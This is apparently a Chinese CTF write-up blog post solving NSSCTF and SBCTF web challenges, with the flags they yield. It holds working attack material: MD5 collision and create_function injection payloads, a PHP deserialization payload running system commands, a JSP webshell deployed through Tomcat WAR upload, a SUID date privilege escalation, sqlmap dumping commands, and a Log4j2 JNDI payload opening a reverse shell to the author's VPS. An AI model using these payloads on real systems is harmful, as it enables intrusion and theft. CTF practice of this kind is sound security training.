寒假训练
NSSCTF Basic #Round 16
期末周好久没看题,确实需要复健一下
RCE但是没有完全RCE
1 |
|
经典MD5强类型比较,强制类型转换为string数组绕过用不了,到网上搜md5碰撞的payload即可
?md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
下一步方法应该挺多的,可用变量拼接
或这里我读到根目录的flag文件,用more
指令正则匹配读取也可
了解过PHP特性吗
这题也很善良,都是好久没见的PHP特性,不过做起来发现一些已经忘了,网上搜索即可
这里稍稍整理一下
preg_match
只能处理字符串,当传入的对象是数组时会返回false
strrev
函数作用为反转字符串,md5弱类型比较找0e开头的字符串即可
限制长度数值比较可以用科学计数法,常见还可以考虑十六进制、八进制等,字符串在php弱类型比较中会被截取前面数字部分比较
array_search
缺陷函数,当strict
参数不为true时检查不严格,传0即可
最后一层是creat_function
注入,这不是校赛出过的吗,注意闭合即可,如果考察在第一个参数注入){}system("ls");/*
,若在第二个参数注入,则}system("ls");/*
SBCTF Week1
Signin
关注Spirit Team
公众号发送signin
获得前一半flag
B站关注BXS-TEAM
获得后一半flag的base64
编码,解码即可
拼接可得SBCTF{W3lc0me_2_Jo1n_Spirit_@nd_BXS_hav3_fun}
Web
php_hacker
1 |
|
朴实无华的php反序列化,在__wakeup
方法中执行任意代码,构造链子后进行base64
编码
1 |
|
payload:?data=Tzo4OiJFeGVjdXRvciI6MTp7czo3OiJjb21tYW5kIjtzOjE1OiJzeXN0ZW0oJ2xzIC8nKTsiO30=
发现f_l_a_g
,改链子读取即可
ez_cat
直接告诉了后台密码admin:admin
登录
找到部署war文件的位置,抄一个jsp
马,打包成.war
文件上传
1 | <%! |
jar -cvf shell.war shell.jsp
访问http://47.76.71.50:20022/shell/shell.jsp
发现木马上传成功
蚁剑连接,密码passwd
在根目录发现flag.txt
,但是没有权限,根据题目描述考虑suid提权
find / -user root -perm -4000 -print 2>/dev/null
1 | /usr/bin/chfn |
这里对能提权的命令不熟,一个个查,发现date
命令可用来读取root
权限文件
/usr/bin/date -f /flag.txt
ez_sqli
发现query
经过两次base64编码,虽说是手注,不过感觉可以一把梭
稍稍修改sqlmap
中的base64encode.py
脚本
1 | #!/usr/bin/env python |
在1.txt
粘贴刚才抓到的数据包
python sqlmap.py --tamper base64encode.py -r C:\Users\Admin\Desktop\CTF脚本\SQL注入\1.txt
检测注入点
python sqlmap.py --tamper base64encode.py -r C:\Users\Admin\Desktop\CTF脚本\SQL注入\1.txt --dbs
爆库
python sqlmap.py --tamper base64encode.py -r C:\Users\Admin\Desktop\CTF脚本\SQL注入\1.txt -D sql1 --tables
爆表
python sqlmap.py --tamper base64encode.py -r C:\Users\Admin\Desktop\CTF脚本\SQL注入\1.txt -D sql1 -T secrets --dump
爆字段
拿到flag:SBCTF{a79f93151e564f9dbe6e885035c83a49}
attack_shiro
没啥好说的,shiro550
漏洞用工具一把梭即可,工具连接
虚拟机崩了,重新配环境浪费了些时间
需要Java8环境
java_signin
给了jar包,用jadx
反编译发现只有一个跳转到原神官网的路由
maven发现log4j2依赖,猜测是jog4j2远程代码执行漏洞,在Accept处试探发现注入点
在自己的vps上使用JNDI
工具,监听端口
``java -jar JNDIExploit.jar -i ip`
nc -lvvp 9000
构造payload:Accept: ${jndi:ldap://ip:1389/Basic/ReverseShell/ip/port}
反弹shell成功,cat /flag
即可